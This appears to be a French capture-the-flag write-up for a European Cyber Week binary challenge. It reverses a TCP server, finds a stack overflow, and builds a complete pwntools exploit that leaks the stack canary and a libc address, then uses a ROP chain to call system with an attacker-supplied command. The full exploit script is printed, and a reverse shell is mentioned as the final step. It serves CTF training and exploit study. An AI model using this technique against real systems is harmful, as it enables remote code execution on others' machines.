Quizz

L’European Cyber Week est un CTF qui a été organisé pour les étudiants dans le domaine de la cyberdéfense. Ce CTF est découpé en deux phases, un premier CTF sous forme de Jeopardy puis un CTF présentiel pour les participants retenus. Cette épreuve est basée sur un binaire à exploiter pour obtenir un accès sur la machine distante.

Sommaire:

  • Fonctionnement de l’exécutable
  • Détection de la vulnérabilité
  • Analyse statique
  • Investigation avec gdb
  • Exploit
  • Annexe
  • Références

Fonctionnement de l’exécutable

Avec la commande file on peut voir que le binaire est un exécutable Linux

Exécutons-le,

D’après les informations fourni à l’ECW, le binaire est un server tcp qui tourne sur le port 8888, lorsque nous nous connectons on se retrouve sur un menu. J’ai ici lancé le serveur sur ma machine d’où la connexion en 127.0.0.1 mais il faudra garder à l’esprit que le binaire à exploiter se trouve sur une machine de l’ECW dont aucun port n’est ouvert sauf le 8888. J’ai reconstitué l’environnement pour ce write-up.

Le choix n°3 nous donne un indice, le binaire semble lister les fichiers dans le dossier courant. Dans lequel on retrouve l’exécutable (server), l’image affichée lorsque du choix 5 (coffee.txt) et un mystérieux fichier flag.txt ;).

Ensuite le binaire liste le contenu du dossier /bin. Il contient les binaires suivant : nc cat sh, sur la machine de l’ECW.

Avant d’aller chercher le flag on va faire une petite reconnaissance du terrain ;).

Détection de la vulnérabilité

Nous allons essayer de trifouiller le binaire un peu dans tous les sens pour voir comment il réagit. Les principaux exploits se basent sur des failles de type Buffer Overflow ou Format String, on peut essayer d’entrer des %x ou %s mais le binaire ne semble pas les interprété. Cependant coté buffer overflow on tient quelque chose ;) :

Voilà ce qu’on obtient lorsqu’on entre quelque caractère supplémentaire dans l’option numéro 3. Le binaire affiche notre réponse jusque-là, normal. Cependant il affiche des caractères non imprimables ce qui paraît plus étrange. De plus coté serveur (en testant sur sa propre machine) on obtient un beau stack smashing detected *** : ./server terminated

L’exécutable tourne encore, on en conclut que c’est juste le thread qui gérait le client qui a crashé dû à l’entrée malicieuse.

Analyse statique

Après avoir fait une analyse superficielle il est temps de rentrer dans le binaire afin de mieux comprendre la vulnérabilité pour l’exploiter. Cette partie va faire intervenir nos compétences en reverse ;).

Pour anticiper un minimum sur l’exploit que l’on va devoir réaliser on regarde si la pile est exécutable avec la commande readelf :

La pile n’est pas exécutable (pas de E, petit rond rouge ;) ), on peut insérer du code machine (binaire) à l’intérieur mais il ne sera pas exécuté.

Intéressons-nous au code qui gère l’option 3 du menu. C’est assez simple de trouver le morceau, il faut trouver le bout de code qui affiche “Tu es sûr ? (y/n)” par exemple. En examinant les arguments passés aux fonctions on s’y retrouve.

push   ebp
mov    ebp,esp
sub    esp,0x38
mov    eax,gs:0x14                    ; get canary
mov    DWORD PTR [ebp-0xc],eax        ; place canary
xor    eax,eax
mov    DWORD PTR [ebp-0x16],0x0       ; fill buffer with 0
mov    DWORD PTR [ebp-0x12],0x0       ; fill buffer with 0
mov    WORD PTR [ebp-0xe],0x0         ; fill buffer with 0
mov    DWORD PTR [esp+0x4],0x8049171  ; "Tu es sûr ? (y/n) "
mov    eax,DWORD PTR [ebp+0x8]
mov    DWORD PTR [esp],eax
call   804890d 

Le code ci-dessus correspond au début de la fonction qui gère l’option 3, on peut remarquer l’utilisation d’un canary (mov eax,gs:0x14).

Le canary est une valeur aléatoire qui se place avant l’adresse de retour, à la fin de la fonction la valeur du canary est vérifiée avant de faire le retour. C’est une protection contre les attaques de type buffer overflow. Cela explique le message stack smashing detected, nous avons écrasé le canary tout à l’heure.

On remarque une mise à zéro de la mémoire ce qui correspond à un buffer 10 octets de commençant à [ebp-0x16].

mov    DWORD PTR [esp+0x8],0x80      ; count = 0x80
lea    eax,[ebp-0x16]                ; buffer address = ebp - 0x16
mov    DWORD PTR [esp+0x4],eax       ; buffer address
mov    eax,DWORD PTR [ebp+0x8]       ; fd
mov    DWORD PTR [esp],eax
call   8048650 <read@plt>            ; read(fd,buffer,0x80)

Ensuite la fonction read est appelée par le programme. Elle prend en paramètre un descripteur de socket, une adresse source et le nombre d’octets maximum à lire. Dans ce cas précis, cet appel est non sécurisé car on peut entrer plus d’octets (128) que ne peut contenir le buffer (8).

lea    eax,[ebp-0x16]                ; buffer address
mov    DWORD PTR [esp+0xc],eax       ; buffer address
mov    DWORD PTR [esp+0x8],0x8049185 ; "Tu as choisi %s"
mov    DWORD PTR [esp+0x4],0xff      ; 255
mov    DWORD PTR [esp],0x804b0c0     ; res
call   8048760 <snprintf@plt>        ; snprintf(res,255,"Tu as choisi %s",buffer);

Le code ci-dessus appelle la fonction snprintf, son fonctionnement ressemble à la fonction printf mais la chaîne résultante est mise dans res. Le deuxième argument est le nombre d’octets total à écrire dans res. On ne peut pas entrer plus de 255 octets.

mov    DWORD PTR [esp+0x4],0x804b0c0 ; res
mov    eax,DWORD PTR [ebp+0x8]       ; fd
mov    DWORD PTR [esp],eax
call   804890d          ; writestring(fd,res);

Ensuite la chaîne produite par snprintf est envoyée via le socket.

Mais alors Jamy pourquoi le programme affiche des caractères non imprimables ? C’est très simple, lors de l’appel de read aucun caractère null n’est placé à la fin du buffer. La fonction snprintf détermine la fin du buffer via le caractère null. Lorsqu’on ne déborde pas cela ne pose pas de problème car, on l’a vu, le programme met le buffer à 0. Mais lorsqu’on remplit entièrement le buffer, derrière nous avons des données comme le canary qui ne sont pas à 0 donc le canary fait partie de la chaine.

Investigation avec gdb

Maintenant nous allons faire de l’analyse dynamique. En posant un breakpoint à l’adresse 0x8048a78 juste après le read on peut examiner ce qu’il se passe. Voici une petite démonstration avec gdb. Dans le cas d’un fonctionnement normal,

On remarquera que le canary (à l’adresse $ebp - 0xc) commence par un octet null (0xfde84200).

Et voici ce qu’il se passe lorsqu’on entre plus de 10 octets :

On a écrasé le canary, ce qui provoque un stack smashing detected à la fin.

A partir du code assembleur et des investigations avec gdb on peut en déduire, l’état de la pile avant l’insertion des données.

Le buffer commence à ebp-0x16, il faudras donc 22 octets avant d’écraser la valeur enregistré de ebp puis eip.

Deuxième point, on remarque que la pile contient une adresse qui fait référence à la libc, c’est précisément l’adresse de read 0xf7ec0060 + 35 octets = 0xf7ec0083

La capture ci-dessus présente la fuite en rouge :

Exploit

Nous allons écrire un exploit de test avant d’écrire le final. L’exploit se passe en deux temps,

  • Canary Leak
  • Exécution du code voulu

Nous allons voler le canary pour pouvoir le réécrire lors de la deuxième partie de l’exploit. Lors de la deuxième partie nous essayerons de remplacer l’adresse de retour par celle de la fonction qui affiche un café :P.

Commencons par écrire le squelette de d’exploit, on commence par importer les différents module.

#!/usr/bin/python
import sys
import binascii
import struct
from pwn import *

def canary_leak():
	pass

def exploit(canary):
	pass

def main(argv):
	canary = canary_leak()
	print("[+] canary is %s " % (binascii.hexlify(canary))
	exploit(canary)

if __name__=='__main__':
	main(sys.argv)

Le module binascii permet d’afficher facilement des caractères au format hexadécimal, on l’utilise pour afficher le canary leaker. Le module pwn fournit un ensemble de fonction utilitaire pour faire des exploits, on l’utiliseras pour se connecter au server et envoyer notre payload. Le module struct permet de convertir des données (au format little endian par exemple)

On peut commencer par définir deux constantes au début de notre code,

IP_ADDR = '127.0.0.1' # Adresse ip du server à pwn
PORT    = 8888        # port de connexion

Voici ensuite le code pour récupérer le canary,

def canary_leak():
	conn = remote(IP_ADDR,PORT)            # on se connecte en TCP à 127.0.0.1:8888
	print("[+] connected for canary_leak") 
	print(conn.recv(1024))                 # affiche la réponse du serveur
	conn.send("3\n")                       # Choix numéro 3
	print(conn.recv(1024))                 # affiche la réponse du serveur

	payload = "y"    
	payload+= "A"*9                        # On rempli le buffer
	payload+= "\n"                         # + le caractère de fin de ligne ça fait 11
	conn.send(payload)
	leak = conn.recv(1024)                 # On recoit ainsi une chaine avec ce que l'on a entré + le canary
	
	index = 0                              # On repère la fin de notre chaine
	while leak[index] != "\n": 
		index+=1
	index+=1
	canary = leak[index:index+3]           # On récupère ainsi les 3 dernier octets du canary
	                                       # Affiche la réponse du serveur
	print(conn.recv(1024))
	print(conn.recv(1024))

	return "\x00"+canary                   # Le premier octet du canary est un octet null

On peut modifier le main de manière à récupérer plusieurs fois le canary

def main(argv):
        for i in range(0,3):
                canary = canary_leak()  # récuperer le canary
                print("[+] canary is %s " % (binascii.hexlify(canary))  # afficher en hexa le canary

On constate que le canary est le même pour chaque connexion ce qui est plutôt rassurant pour nous :P

Ensuite nous allons écrire notre exploit intermédiaire, celui-ci se contentera d’appeler la fonction qui affiche un café avec les bons paramètres. Pour cela nous allons faire du ROP (Return Oriented Programming), l’idée c’est de retourner sur un ou plusieurs morceaux de code appartenant au programme pour parvenir à nos fins.

Comme dirait Buzz, Vers l’infini et l’au-delà ! (du canary ;) )

def exploit(canary):
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for exploit")
	print(conn.recv(1024))
	conn.send("3\n")                      # choix
	print(conn.recv(1024))
	
	payload = "y"                         # choix
	payload+= "A"*9                       # padding
	payload+= canary                      # canary
	payload+= "aaaa"* 2                   # padding
	payload+= struct.pack("&lt;I",0x804b0c0) # EBP	
	payload+= struct.pack("&lt;I",0x8048936) # ret2coffee
	payload+= "AAAA"                      # next return	
	payload+= "\x04\x00\x00\x00"          # descripteur de socket
	payload+= "\n"                        # caractère fin
	conn.send(payload)
	print(conn.recv(1024))
	print(conn.recv(1024))

Il faut 10 octets de padding, ensuite on replace le canary ce qui fait 14 octets. Ensuite on rajoute 8 octets de padding, puis on écrase ebp avec une adresse valide par exemple 0x804b0c0 (argument de snprintf). Ensuite on écrase l’adresse de retour avec celle de la fonction 0x8048936 qui affiche un café. Ensuite il faut préparer la pile comme si l’on exécutait la fonction, on place la prochaine adresse de retour “AAAA” (sans importance pour l’instant). La valeur 4 correspond au premier argument, c’est le descripteur de socket ( trouvé avec gdb en examinant les arguments de fonction).

Et voilà on a notre café alors que l’on était sur l’option 3.

Maintenant nous allons faire en sorte que le programme exécute une commande, voici l’idée :

read(fd,cmd,0xff);
system(cmd);

Dans un premier temps le programme doit réaliser la lecture de notre commande, puis ensuite l’exécuter pour cela on va avoir besoin de l’adresse des fonctions read et system. Vus précédemment nous connaissons l’adresse de read, nous allons déterminer celle de system. Modifions notre fonction leak.

def leak():
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for canary_leak")
	print(conn.recv(1024))  # afficher le menu
	conn.send("3\n") # Choix numéro 3
	print(conn.recv(1024))  # afficher le choix

	payload = "y"    
	payload+= "A"*9  # On rempli le buffer
	payload+= "\n"   # + le caractère de fin de ligne ça fait 11
	conn.send(payload)
	leak = conn.recv(1024)
	
	index = 0
	while leak[index] != "\n": # On repère la fin de notre chaine
		index+=1
	index+=1
	canary = leak[index:index+3] # On récupère les 3 dernier octets du canary
	read   = leak[index+7:index+7+4] # On récupère l'adresse de read + 35	
	# conversion en nombre
	# -35 pour avoir l'adresse originale
	read   = struct.unpack("&lt;I",read)[0] - 35 
	# afficher réponse du serveur
	print(conn.recv(1024))
	print(conn.recv(1024))

	return ("\x00"+canary,read) # Le premier octet du canary est un octet null

La fonction ne change presque pas hormis que l’on récupère l’adresse de read puis on retourne le canary et l’adresse en un coup dans un tuple (thanks python :) ). En lançant l’exploit j’obtiens <strong>0xf767b060</strong>. Maintenant qu’on a l’adresse de read il faut calculer celle de system. Nous allons utiliser libc-database pour déterminer quelle libc est utilisée. Ensuite on calculera la différence en octets entre l’offset de system et l’offset de read.

Sur l’image ci-dessus on voit toutes les libc possibles qui ont une fonction read avec un offset terminant par 60 (d’après ce que j’ai obtenu comme adresse). On peut éliminer quelque possibilité en enlevant les libc qui sont en 64 bits (rappel le programme est en 32).

Petit calcul : 0xd4060 - 0x3a850 = 0x99810 et voilà, pour l’adresse de system nous ferons read - 0x99810.

Ce qui nous donne pour le main,

def main(argv):
	canary,read = leak()
	print("[+] canary is %s " % (binascii.hexlify(canary)))
	print("[+] read is at %s" % hex(read))
	system = read - 0x99810
	print("[+] system is at %s" % hex(system))
	exploit_system(canary,system,read)

Reprenons ensuite la fonction,

def exploit_system(canary,system,read):
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for exploit")
	print(conn.recv(1024))
	conn.send("3\n")
	print(conn.recv(1024))
	
	payload = "y"
	payload+= "A"*9
	payload+= canary
	payload+= "aaaa"*2
	payload+= struct.pack("<I",0x804b0c0)  # ebp

Jusquelà rien ne change. Ensuite on appelle read, on simule comme si on avait fait un call en empilant l’adresse de retour 0x08048636, et les arguments. Petit rappel la pile progresse vers les adresses basses mais nous nous progressons vers les adresses hautes. C’est pourquoi on écrit l’adresse avant les arguments qui sont placés dans l’ordre.

    payload+= struct.pack("<I",read)       
    payload+= struct.pack("<I",0x08048636)  # pop3ret
    payload+= struct.pack("<I",4)           # arg_1 descripteur de socket
    payload+= struct.pack("<I",0x0804b0c0)  # arg_2 command
    payload+= struct.pack("<I",0xff)        # arg_3 size

Ensuite vous me direz pourquoi 0x08048636 ? Tout simplement pour avancer dans la pile, car on a mis des arguments il faut les sauter pour dépiler la prochaine adresse de retour.

add    esp,0x8
pop    ebx
ret

On avance de 3*4 octets, on se retrouvera donc juste après les arguments de read et à ce moment on fait un ret. On appelle system, on place l’adresse de retour 0x08049126 (même principe ci-dessus mais pour dépiler seulement 4 octets), et les arguments. A la fin j’affiche un café pour être sûr que le programme n’a pas planté en route. conn.interactive() permet de passer comme son nom l’indique en interaction avec le programme pour entrer la commande.

    payload+= struct.pack("<I",system)
    payload+= struct.pack("<I",0x8049126)   # pop1ret
    payload+= struct.pack("<I",0x0804b0c0)  # arg_1 command
    payload+= struct.pack("<I",0x8048936)   # ret2coffee
    payload+= struct.pack("<I",4)*2          # arg_1 descripteur de socket
    payload+= "\n"
    conn.send(payload)
    conn.interactive()

On exécute le script et il n’y a plus qu’à faire un reverse shell,

Et quelque part en Russie :P,

Annexe

Voici le script complet,

#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
import binascii
import struct

IP_ADDR = '127.0.0.1'
PORT    = 8888

def leak():
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for canary_leak")
	print(conn.recv(1024))  # afficher le menu
	conn.send("3\n") # Choix numéro 3
	print(conn.recv(1024))  # afficher le choix

	payload = "y"    
	payload+= "A"*9  # On rempli le buffer
	payload+= "\n"   # + le caractère de fin de ligne ça fait 11
	conn.send(payload)
	leak = conn.recv(1024)
	
	index = 0
	while leak[index] != "\n": # On repère la fin de notre chaine
		index+=1
	index+=1
	canary = leak[index:index+3] # On récupère les 3 dernier octets du canary
	read   = leak[index+7:index+7+4] # On récupère l'adresse de read + 35	
	# conversion en nombre
	# -35 pour avoir l'adresse originale
	read   = struct.unpack("&lt;I",read)[0] - 35 
	# afficher réponse du serveur
	print(conn.recv(1024))
	print(conn.recv(1024))

	return ("\x00"+canary,read) # Le premier octet du canary est un octet null

# Affiche un café
def exploit(canary):
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for exploit")
	print(conn.recv(1024))
	conn.send("3\n")
	print(conn.recv(1024))
	
	payload = "y"
	payload+= "A"*9
	payload+= canary # canary
	payload+= "aaaa"* 2 # padding
	payload+= struct.pack("&lt;I",0x8044bc0) # EBP	
	payload+= struct.pack("&lt;I",0x8048936) # ret2coffee
	payload+= "AAAA" # future return	
	payload+= "\x04\x00\x00\x00"
	payload+= "\n"
	conn.send(payload)
	print(conn.recv(1024))
	print(conn.recv(1024))

# Exécute la commande entrée avec system
def exploit_system(canary,system,read):
	conn = remote(IP_ADDR,PORT)
	print("[+] connected for exploit")
	print(conn.recv(1024))
	conn.send("3\n")
	print(conn.recv(1024))
	
	payload = "y"
	payload+= "A"*9
	payload+= canary
	payload+= "aaaa"*2
	payload+= struct.pack("&lt;I",0x804b0c0)  # ebp
	payload+= struct.pack("&lt;I",read)
	payload+= struct.pack("&lt;I",0x08048636)  # pop3ret
	payload+= struct.pack("&lt;I",4)           # arg_1 descripteur de socket
	payload+= struct.pack("&lt;I",0x0804b0c0)   # arg_2 command
	payload+= struct.pack("&lt;I",0xff)        # arg_3 size
	payload+= struct.pack("&lt;I",system)
	payload+= struct.pack("&lt;I",0x8049126)   # pop1ret
	payload+= struct.pack("&lt;I",0x0804b0c0)  # arg_1 command
	payload+= struct.pack("&lt;I",0x8048936)   # ret2coffee
	payload+= struct.pack("&lt;I",4)*2          # arg_1 descripteur de socket
	payload+= "\n"
	conn.send(payload)
	conn.interactive()

	
def main(argv):
	canary,read = leak()
	print("[+] canary is %s " % (binascii.hexlify(canary)))
	print("[+] read is at %s" % hex(read))
	system = read - 0x99810
	print("[+] system is at %s" % hex(system))
	exploit_system(canary,system,read)

if __name__=='__main__':
	import sys
	main(sys.argv)

Réferences